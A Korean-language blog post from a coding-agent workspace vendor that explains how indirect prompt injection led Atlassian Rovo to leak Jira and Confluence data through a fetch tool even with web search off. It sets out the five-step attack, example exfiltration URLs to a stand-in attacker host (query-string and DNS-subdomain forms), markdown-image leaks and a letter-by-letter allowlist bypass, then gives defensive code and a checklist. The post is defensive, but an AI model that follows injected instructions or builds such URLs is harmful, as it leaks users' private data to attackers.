요약: 웹 검색을 끈다고 해서 AI 에이전트의 데이터 유출을 막을 수는 없습니다. 해당 설정 토글은 기능 화면만 숨길 뿐 그 이면에 있는 도구 자체를 제거하지 않기 때문입니다. 에이전트가 여전히 URL을 열거나, 이미지를 렌더링하거나, 커넥터를 호출할 수 있다면, 주입된 악성 프롬프트가 사용자의 데이터를 요청(Request)에 실어 유출할 수 있습니다. 해결책은 결정론적이어야 합니다. 즉, 에이전트가 사람이 직접 입력했거나 신뢰할 수 있는 도구가 반환한 URL만 가져오도록(fetch) 제한해야 합니다.
대부분의 팀은 웹 검색 스위치를 아웃바운드 보안 위험을 차단하는 스위치로 여깁니다. 하지만 그렇지 않습니다. 2026년 8월, PromptArmor는 조직 차원에서 웹 검색을 비활성화한 상태에서도 Atlassian Rovo를 공격할 수 있음을 입증했으며, 그 원인은 직접 구축하든 도입하든 상관없이 모든 에이전트에 동일하게 적용됩니다.
아래에서는 데이터 유출 경로와 기존 패치들이 실패하는 이유, 그리고 유효한 보안 원칙을 살펴봅니다. 저희는 코딩 에이전트가 공유 보드에서 작업을 가져와 수행하는 작업 공간인 Sharkly를 개발하고 있기에, 이 문제는 저희에게도 동일하게 적용됩니다. 프롬프트 인젝션(Prompt Injection)은 Sharkly에서 실행되는 코딩 에이전트를 포함해 어디서나 여전히 해결되지 않은 문제입니다.
웹 검색 토글이 제어하는 것과 제어하지 못하는 것
웹 검색 토글은 에이전트가 검색 엔진을 호출할 수 있는지 여부만 제어합니다. URL을 열고 응답을 읽어오는 별도의 도구에 대해서는 아무것도 관여하지 않습니다. 이 fetch 도구가 활성화된 상태로 유지된다면, 에이전트는 인터넷상의 어떤 서버로든 요청을 보낼 수 있으며, 모든 요청은 주소 자체에 데이터를 담아 보낼 수 있습니다.
검색은 링크 목록을 반환합니다. Fetch는 링크를 받아 HTTP 요청을 수행합니다. 데이터가 테넌트(tenant) 외부로 유출되는 시점은 바로 이 fetch 단계입니다.
이러한 간극이 바로 Rovo 분석 결과의 핵심입니다. PromptArmor의 분석 보고서에 따르면, 웹 검색 설정은 “검색 결과를 열어보는 도구까지 제거하지는 못한다”고 지적합니다. 조직 관리자가 검색 기능을 껐더라도, fetch 도구는 계속 켜져 있었던 것입니다.
에이전트가 데이터 유출용 URL을 생성하는 방식
간접 프롬프트 인젝션(Indirect prompt injection)은 공격자가 파일, 티켓, 웹 페이지 등 에이전트가 나중에 읽게 될 콘텐츠 내부에 명령어를 숨겨두는 기법입니다. 모델은 사용자의 정상적인 요청과 작업 도중 발견한 텍스트를 안정적으로 구분하지 못합니다. PromptArmor가 설명한 Rovo의 공격 체인은 다음 5단계로 진행됩니다.
- 피해자가 숨겨진 명령어가 포함된 파일(예: "백로그 가이드")을 업로드합니다.
- 이후 피해자가 Rovo에게 Jira 티켓을 정리해 달라고 요청합니다.
- Rovo는 Jira와 Confluence를 검색하고, 작업의 일환으로 오염된 파일을 읽어옵니다.
- 주입된 악성 프롬프트는 Rovo에게 티켓 및 Confluence 내용을 공격자 URL 뒤에 덧붙인 뒤, URL 조회 도구를 사용해 해당 URL을 열도록 지시합니다.
- 공격자의 서버는 데이터가 포함된 해당 요청을 로그에 기록합니다. 피해자에게는 일반적인 티켓 정리 제안만 정상적으로 표시됩니다.
클릭도, 승인 프롬프트도 필요하지 않습니다. PromptArmor가 언급한 또 다른 인젝션 유입 경로로는 지원 티켓, 검색이 켜져 있을 때의 웹 검색 결과, 그리고 서드파티 커넥터 등이 있습니다.
여기서 핵심적인 세부사항은 4단계입니다. PromptArmor는 “에이전트가 동적으로 생성한 URL을 여는 행위에 대해 어떠한 보호 장치도 없었다”고 보고했습니다. 에이전트가 주소를 직접 작성했기 때문에, 주소에는 에이전트가 읽은 모든 내용이 포함될 수 있습니다.
데이터 유출용 URL은 어떤 형태인가?
임의의 도메인을 사용한 예시 형태는 다음과 같습니다.
https://collect.attacker.example/log?d=PROJ-412%3A%20rotate%20prod%20db%20creds%20before%20Fri
공격자는 접속 로그에서 d= 파라미터를 확인하여 데이터를 읽어냅니다. 에이전트는 fetch 도구 본연의 기능인 단 한 번의 GET 요청을 수행했을 뿐입니다.
쿼리 스트링 제거가 무용지물인 이유: 서브도메인 및 DNS 유출
대부분의 사람들이 가장 먼저 떠올리는 임시 대책은 URL에서 ? 뒷부분을 필터링하는 것입니다. 하지만 이는 통하지 않습니다. Hacker News 스레드(추천 306점, 댓글 138개)에서 Simon Willison은 와일드카드 DNS를 활용하면 데이터가 호스트 이름에 포함될 수 있다고 지적했습니다.
https://cHJvZCBkYiBjcmVkcw.attacker.example/
공격자의 DNS 서버는 모든 서브도메인 요청에 응답하며 각 조회 기록을 로그에 남깁니다. 즉, HTTP 요청이 완료되기도 전인 도메인 이름 확인(name resolution) 단계에서 이미 데이터가 빠져나가는 것입니다. 또 다른 댓글 작성자는 인증 정보(credentials) 필드를 포함해 URL의 모든 구성 요소에 데이터를 숨길 수 있다고 덧붙였습니다.
따라서 해결 원칙은 "URL 정제하기"가 될 수 없습니다. Willison의 표현을 빌리자면, 핵심 문제는 "URL을 동적으로 구성하는 것 자체를 원천 차단하지 못하는 데" 있습니다.
마크다운 이미지 유출 경로
일부 에이전트는 데이터를 유출하기 위해 fetch 도구조차 필요로 하지 않습니다. 채팅 인터페이스가 외부 도메인의 마크다운(Markdown) 이미지를 렌더링하도록 허용하는 경우, 모델은 답변에 다음과 같은 내용을 작성할 수 있습니다.

사용자의 브라우저가 이미지를 로드하면서 요청을 전송하게 됩니다. 사용자가 아무것도 클릭하지 않아도 발생합니다. PromptArmor는 Rovo가 AI 출력에서 마크다운 이미지를 렌더링한다는 점을 언급하며 이를 잘 알려진 유출 벡터로 지적했으나, 보고서에서 이에 대한 별도의 Rovo 공격 체인을 제시하지는 않았습니다.
이 유출 경로는 렌더링 계층에 존재하기 때문에, 어떠한 에이전트 도구 설정으로도 차단할 수 없습니다.
"사전 인덱싱된 URL만 허용"하는 방식도 글자 단위로 유출되는 이유
한 가지 완화책으로 검색 크롤러가 이미 색인(인덱싱)한 URL만 에이전트가 열 수 있도록 허용하는 방법이 있습니다. 공격자는 사용자의 기밀 정보가 포함된 URL을 사전에 인덱싱해 둘 수 없는데, 그 기밀은 이전에 공개적으로 존재한 적이 없기 때문입니다.
하지만 Johann Rehberger(Hacker News 닉네임 wunderwuzzi23)는 이를 우회하는 방법을 설명했습니다. 공격자가 /a부터 /z까지 문자마다 페이지를 하나씩 미리 게시해 두고 인덱싱해 둔 상황을 상상해 보십시오. 그런 다음 인젝션을 통해 기밀 문자열의 각 글자에 해당하는 페이지를 순서대로 방문하도록 에이전트에 지시합니다. 공격자는 로그에 남은 순차적 접근 기록을 확인하여 기밀을 알아낼 수 있습니다.
속도가 느리고 탐지 흔적이 많이 남지만, 실제로 동작합니다. Rehberger의 요약에 따르면, 각 단계별 조치는 공격 비용을 높일 뿐 완전히 불가능하게 만들지는 못합니다. 다만 그는 특정 목적에 한정된 에이전트의 경우, 공격자가 제어하는 엔드포인트를 원천 차단할 수 있는 도메인 허용 목록(Allowlist)이 효과적이라고 평가했습니다.
결정론적 원칙: 사람이나 신뢰할 수 있는 도구가 전달한 URL만 가져올 것
실효성 있는 해결책은 모델에게 '더 주의하라'고 요구하지 않습니다. 대신 에이전트가 목적지를 스스로 선택할 수 있는 권한 자체를 박탈합니다.
- 허용: 사용자가 대화창에 직접 입력한 URL
- 허용: 검색 결과 등 신뢰할 수 있는 도구가 반환한 정확한(verbatim) URL
- 차단: 모델이 직접 조립, 수정, 또는 확장한 모든 URL
이 규칙은 모델 외부의 코드 수준에서 강제해야 합니다. 신뢰할 수 있는 출처를 통해 대화에 유입된 URL 집합을 유지하고, 해당 집합에 정확히 일치하는 문자열이 없는 모든 fetch 요청을 거부하도록 구현합니다.
allowed_urls: set[str] = set()
def on_user_message(text: str) -> None:
allowed_urls.update(extract_urls(text))
def on_search_results(results: list[dict]) -> None:
allowed_urls.update(r["url"] for r in results)
def fetch(url: str) -> str:
if url not in allowed_urls:
raise PermissionError(f"blocked agent-built URL: {url[:60]}")
return http_get(url)
여기에는 두 가지 한계가 있습니다. 이 검사는 이미지 채널까지 다루지 못하므로, 렌더링된 출력에서 외부 이미지를 차단하는 조치가 여전히 필요합니다. 또한 신뢰할 수 있는 도구가 공격자가 의도한 목록을 반환할 수 있는 환경이라면 글자 단위 유출 기법을 막지 못합니다. 특정 용도의 에이전트에 도메인 허용 목록을 추가로 적용해야 하는 이유가 바로 여기에 있습니다.
이는 Willison이 제시한 치명적인 세 가지 요소(lethal trifecta)인 비공개 데이터, 신뢰할 수 없는 콘텐츠, 아웃바운드 채널의 원리가 그대로 적용된 사례입니다. 유용한 에이전트를 만들려면 앞의 두 가지를 없앨 수는 없습니다. 하지만 세 번째 요소인 아웃바운드 채널은 결정론적으로 통제할 수 있습니다. OWASP가 프롬프트 인젝션을 LLM01로 지정한 이유도 마찬가지입니다. 모델 내부에서만 해결하려는 패치는 결코 완전할 수 없기 때문입니다.
에이전트를 구축하거나 도입할 때 점검해야 할 체크리스트
비공개 데이터에 접근할 수 있는 모든 에이전트에 대해 다음 질문을 확인해 보십시오.
- 네트워크 요청을 보낼 수 있는 모든 도구를 나열했는가? (fetch, 브라우저, 커넥터, 웹훅, 이메일 등)
- 각 설정 토글이 도구 자체를 제거하는가, 아니면 해당 도구를 사용하는 기능 화면만 숨기는가?
- 에이전트가 자체적으로 구성한 URL을 열 수 있는가?
- 출력 결과물에 외부 마크다운 이미지가 렌더링되는가?
- 도메인 허용 목록이 존재하는가? 존재한다면 누가 관리하는가?
- 어떤 경로를 통해 프롬프트가 주입될 수 있는가? (업로드 파일, 티켓, 웹 검색 결과, 커넥터 등)
- 벤더사가 가장 최근에 접수된 외부 보안 취약점 보고에 어떻게 대응했으며, 얼마나 신속하게 조치했는가?
Rovo의 경우 공개된 타임라인이 7번 질문에 대한 답을 보여줍니다. PromptArmor는 2026년 5월 23일에 취약점을 제보했고, Atlassian은 5월 25일에 이를 확인했으나, 이후 6월 4일과 7월 29일의 후속 문의에는 응답하지 않았습니다. 그리고 8월 5일 Rovo가 여전히 취약한 상태에서 분석 보고서가 공개되었습니다. [확인 필요 2026-10-27: 이 경로에 대한 Atlassian의 수정 사항이나 공식 성명이 발견되지 않음. 발행 전 재확인 필요.]
참고로 Atlassian의 코딩 에이전트인 Rovo Dev는 본 취약점 분석 대상인 Rovo 어시스턴트와는 별개의 제품이며, 이에 대해서는 저희의 Rovo Dev 무료 플랜 관련 게시글에서 다루고 있습니다.
Sharkly의 코딩 에이전트에는 어떻게 적용되는가
코딩 에이전트는 이슈 본문, README, 웹에서 가져온 페이지 등 신뢰할 수 없는 텍스트를 온종일 읽어들입니다. Sharkly를 사용한다고 해서 Claude Code나 Codex가 이러한 위험에 면역이 되는 것은 아닙니다.
Sharkly가 바꾸는 것은 아웃바운드 경계(outbound boundary)의 제어 주체입니다. 에이전트는 로컬 서비스를 통해 사용자의 자체 컴퓨터(Computers)에서 실행됩니다. Computers 문서에 명시되어 있듯이, Computer는 “에이전트에 필요한 운영체제, 파일, 자격 증명, 네트워크 접근 권한, 도구를 제공”합니다. 따라서 Computer를 이그레스(egress) 허용 목록 뒤에 배치하면, 어떤 에이전트가 실행되든 해당 제한 사항이 모든 작업에 그대로 상속됩니다.
문서에 언급된 몇 가지 다른 보안 경계는 다음과 같습니다.
- 게스트는 자신이 추가된 스페이스(Spaces)만 볼 수 있습니다.
- 서드파티 앱에서의 작업은 승인된 커넥터를 거쳐야 합니다.
- Skills 문서에서는 Skill 지침이나 파일에 비밀번호, 토큰, 키를 절대 저장하지 말 것을 명시하고 있으며, 이를 통해 탈취된 에이전트가 해당 정보를 빼낼 수 없도록 합니다.
물론 이러한 장치들도 에이전트가 이미 부여받은 권한을 오용하는 것까지 완전히 막지는 못합니다. 이러한 경계선을 어디에 설정해야 하는지에 대해서는 코딩 에이전트 권한 설정, 승인 관문(Approval Gates), 그리고 프롬프트 인젝션 가드레일에 관한 게시글에서 자세히 다루고 있습니다.
결론
웹 검색 토글은 제품의 기능 설정일 뿐 보안 통제 장치가 아닙니다. 데이터는 요청을 생성할 수 있는 모든 통로(fetch 도구, 호스트 이름 조회, 이미지 태그 등)를 통해 유출될 수 있습니다. 모델 바깥의 코드 수준에서 이러한 경로들을 차단해야 합니다.
지금 바로 실행할 수 있는 다음 단계: 이번 주에 팀에서 사용 중인 에이전트 하나를 골라 3번 항목부터 시작해 7가지 체크리스트를 점검해 보십시오. 여러 대의 Computer에서 코딩 에이전트를 운영 중이라면, Sharkly를 구축하여 각 머신을 이미 신뢰하고 있는 이그레스 규칙 뒤에 배치하십시오.
FAQ
웹 검색을 끄면 프롬프트 인젝션을 막을 수 있나요?
아닙니다. 프롬프트 인젝션은 업로드된 파일, 티켓, 커넥터 데이터 등 에이전트가 읽는 모든 콘텐츠에서 발생할 수 있습니다. 검색을 비활성화하면 신뢰할 수 없는 콘텐츠 유입 경로 하나를 제거할 뿐이며, 인젝션은 여전히 다른 경로로 유입될 수 있고 fetch 도구를 통해 외부로 유출될 수 있습니다.
URL 기반 데이터 유출이란 무엇인가요?
에이전트가 비공개 데이터를 URL 내부에 포함하여 해당 주소로 요청을 전송하는 유출 방식입니다. 공격자의 서버는 요청 로그를 기록하여 데이터를 탈취합니다. 악성코드는 전혀 필요하지 않으며, 임의의 URL을 생성하고 열 수 있는 에이전트만 있으면 성립됩니다.
AI 채팅에서 마크다운 이미지가 보안 위험 요소인가요?
채팅 인터페이스가 외부 도메인의 이미지를 렌더링하는 경우 보안 위험이 됩니다. 브라우저가 이미지 URL을 자동으로 호출하므로, 모델이 URL에 기록한 모든 데이터가 사용자의 클릭 없이도 공격자에게 전달됩니다.
도메인 허용 목록(Allowlist)만으로 충분한가요?
소수의 도메인만 필요한 특정 목적의 에이전트라면 허용 목록이 가장 강력한 보안 제어 수단입니다. 하지만 범용 어시스턴트의 경우 목록을 엄격하게 유지하기 어려우므로, 에이전트가 자체 생성한 URL은 절대 호출하지 못하도록 하는 원칙과 병행해야 합니다.
Atlassian은 Rovo의 데이터 유출 문제를 해결했나요?
2026년 10월 27일 기준, PromptArmor가 공개한 유출 경로에 대해 Atlassian의 공식 성명이나 확인된 수정 사항은 발견되지 않았습니다. 최신 업데이트는 PromptArmor 페이지와 Atlassian 보안 권고(Advisories)를 확인하시기 바랍니다.



